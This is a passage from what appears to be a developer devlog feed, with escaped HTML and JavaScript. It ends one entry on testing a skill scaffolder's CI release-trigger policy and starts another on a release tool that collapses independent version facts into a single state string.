&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; line &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;()) console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;PASS&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, line);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// ── the part that bites: a regenerator eating its own guard ──────────────────&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// `freeze` rewrites the baseline file from a template. Anything hand-written in&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// it is gone, silently, and the run that deletes it is the run someone starts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// because a golden went red.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BASELINE_TEMPLATE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `import assert from &apos;node:assert/strict&apos;;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;// generated by freeze&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; baselineFile &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BASELINE_TEMPLATE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `assert.ok(scaffoldOutputPassesPolicy(), &apos;hand-written guard&apos;);&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;before freeze, baseline file guards:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  baselineFile.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;hand-written guard&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;baselineFile &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BASELINE_TEMPLATE;   &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// freeze regenerates from the template&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;after  freeze, baseline file guards:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  baselineFile.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;hand-written guard&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The separate file survives, because nothing regenerates it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().length, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the standalone wiring test still runs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;after  freeze, wiring.test.mjs assertions:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().length);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;all checks passed&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the three blocks as &lt;code&gt;policy.mjs&lt;/code&gt;, &lt;code&gt;generate.mjs&lt;/code&gt; and &lt;code&gt;wiring.test.mjs&lt;/code&gt;,
this one as &lt;code&gt;check.mjs&lt;/code&gt;, then run &lt;code&gt;node check.mjs&lt;/code&gt;. It needs nothing but Node.
Here is what it printed for me:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;old template    ok=false  release-on-push: a release job must be workflow_dispatch-only; `push` makes a merge cut the tag&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fixed template  ok=true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PASS scaffolded workflow passes the repo policy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PASS policy still catches the old template: release-on-push&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PASS wired into all 7 registries&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;before freeze, baseline file guards: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;after  freeze, baseline file guards: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;after  freeze, wiring.test.mjs assertions: 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;all checks passed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The last three lines are the reason the test file sits where it does. A guard
written into a regenerated file counts one assertion before the regenerator runs
and zero after, with nothing in the output saying so.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A generated defect is found one project too late.&lt;/strong&gt; This one was caught by CI,
which sounds fine until you notice where: on a brand new skill’s first pull
request. By that point the bad file has already been written into a new
directory, so the fix is manual, and it will be manual again for the next skill
until the template itself changes. CI on the &lt;em&gt;consumer&lt;/em&gt; tells you the generator
is broken; only a test on the &lt;em&gt;generator&lt;/em&gt; stops it producing more. Both are
worth having, and they are not substitutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Regenerators eat hand-written guards, silently.&lt;/strong&gt; The command that rewrites a
baseline from a template does not diff what it is replacing, and the moment
somebody runs it is the moment a golden has gone red, which is the moment the
guard was trying to say something. Keep regression assertions in a file nothing
regenerates. This is also why golden files alone are thin protection:
&lt;a href=&quot;https://testing.googleblog.com/2015/01/testing-on-toilet-change-detector-tests.html&quot;&gt;change-detector tests&lt;/a&gt;
that mirror the implementation get updated rather than investigated whenever
they fail. Verify the split works by reverting the template, re-running the
regenerator, and confirming your separate test still fails.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A stale reference doc undoes the fix later.&lt;/strong&gt; The reference this scaffolder
ships still carried a section describing releases as publish-on-merge, which is
exactly the behaviour that was reversed. A generator and a document that both
predate a change will reintroduce it between them, one confidently and one
politely. When you ban a pattern, grep the prose too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;State the ban narrowly enough to survive.&lt;/strong&gt; &lt;code&gt;push&lt;/code&gt; is correct in the workflow’s
top-level trigger list and wrong in the release job’s condition. A rule written
as “no push” would be deleted the first time it blocked something legitimate. Aim
the check at the exact construct that causes the harm.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Count registry entries; do not eyeball them.&lt;/strong&gt; A missing wiring point is
invisible in a diff, because a diff shows what changed and this defect is
something absent. Assert the length against the declared list so adding a new
registry to the contract fails until the generator writes it.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github&quot;&gt;Customizing how changed files appear on GitHub&lt;/a&gt; — marking paths &lt;code&gt;linguist-generated&lt;/code&gt; hides them from diffs by default&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows&quot;&gt;Events that trigger workflows (GitHub Actions)&lt;/a&gt; — what &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;workflow_dispatch&lt;/code&gt; actually fire on&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://testing.googleblog.com/2015/01/testing-on-toilet-change-detector-tests.html&quot;&gt;Change-Detector Tests Considered Harmful (Google Testing Blog)&lt;/a&gt; — why a test that mirrors the implementation gets updated instead of investigated&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(skillfactory): stop scaffolding the release trigger this repo banned (0.4.0) (#170) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/8bc53861d6b0e1e01877e6250964cdbf401759d8&quot;&gt;8bc5386&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/skillfactory/v0.4.0.png" length="29851" type="image/png"/></item><item><title>One state string cannot carry two independent facts</title><link>https://natejswenson.com/devlog/shipflow/v0.6.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/shipflow/v0.6.0/</guid><description>A release tool read three version facts, reported one state, and its fast path acted on that state alone. The fix was to stop collapsing the facts and to decide the irreversible target exactly once.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;release-cut&lt;/code&gt; no longer guesses when it cannot tell which version it is being
asked to release. The status reader now reports “dev is ahead of main” as its
own fact rather than folding it into a single state string, a new pure
&lt;code&gt;resolveReleaseTarget&lt;/code&gt; is the only place the release target is decided, and
&lt;code&gt;cut&lt;/code&gt; calls it before any network request and refuses outright when the answer
is ambiguous, naming both candidate versions in the refusal.&lt;/p&gt;
&lt;p&gt;The general shape is worth stealing for anything that takes an irreversible
action based on state it read a moment earlier: keep independent facts
independent, resolve the target once, and make your escape hatch a confirmation
rather than a bypass.&lt;/p&gt;
&lt;h2&gt;The state that could only report one thing&lt;/h2&gt;
&lt;p&gt;I found this the boring way, which is the only reason I am writing about it
instead of apologising for it. I was about to cut a release, opened the function
that does the cutting because I wanted to check something unrelated, and
realised while reading it that the version it was going to tag was not the
version I thought I was releasing. Main was at 0.2.1. Dev was at 0.3.0. The tool
would have dispatched a release for 0.2.1, waited for that tag, found it, and
reported success.&lt;/p&gt;
&lt;p&gt;Nothing about that outcome would have looked like a failure.&lt;/p&gt;
&lt;p&gt;The reader collapsed three inputs into one answer:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Reads the three version facts and reports a state. The bug lives here.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(a, b) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pa &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(a).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(Number);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pb &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(b).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(Number);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; i&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ((pa[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (pb[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (pa[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (pb[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// `facts` is whatever you can read off the remote: the newest tag for this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// component, and the version declared on each long-lived branch.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name, lastTag, versionOnMain, versionOnDev }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; state;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;lastTag) state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;       &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// never released&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(versionOnMain, lastTag) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(versionOnDev, versionOnMain) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;bump-on-dev-unpromoted&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;clean&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name, state, lastTag, versionOnMain, versionOnDev };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look at what an &lt;code&gt;if/else if&lt;/code&gt; chain does to two facts that are both true. “Main
carries an untagged bump” and “dev already carries something higher” are not
alternatives. They happen together all the time. But a chain has to pick one
branch, so the first condition wins and the second fact never reaches the
caller. The returned object still contains &lt;code&gt;versionOnDev&lt;/code&gt;, and the fast path
downstream never read it, because it was written to trust &lt;code&gt;state&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is the well-known advice about
&lt;a href=&quot;https://fsharpforfunandprofit.com/posts/designing-with-types-making-illegal-states-unrepresentable/&quot;&gt;making illegal states unrepresentable&lt;/a&gt;
running in the other direction. Squeezing your model down until only valid
states fit is good; squeezing it past that point makes valid states
&lt;em&gt;un&lt;/em&gt;representable, and the ones that vanish are the awkward combinations you did
not picture while writing the enum.&lt;/p&gt;
&lt;h2&gt;Report the second fact beside the state, not inside it&lt;/h2&gt;
&lt;p&gt;The fix is small and the placement is the entire trick: compute the fact outside
the branch that computes the state.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Same reader, with the second fact reported alongside the state instead of&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// being collapsed into it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { cmpSemver } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./status.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name, lastTag, versionOnMain, versionOnDev }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; state;&lt;/span&gt;&lt;/span&gt;
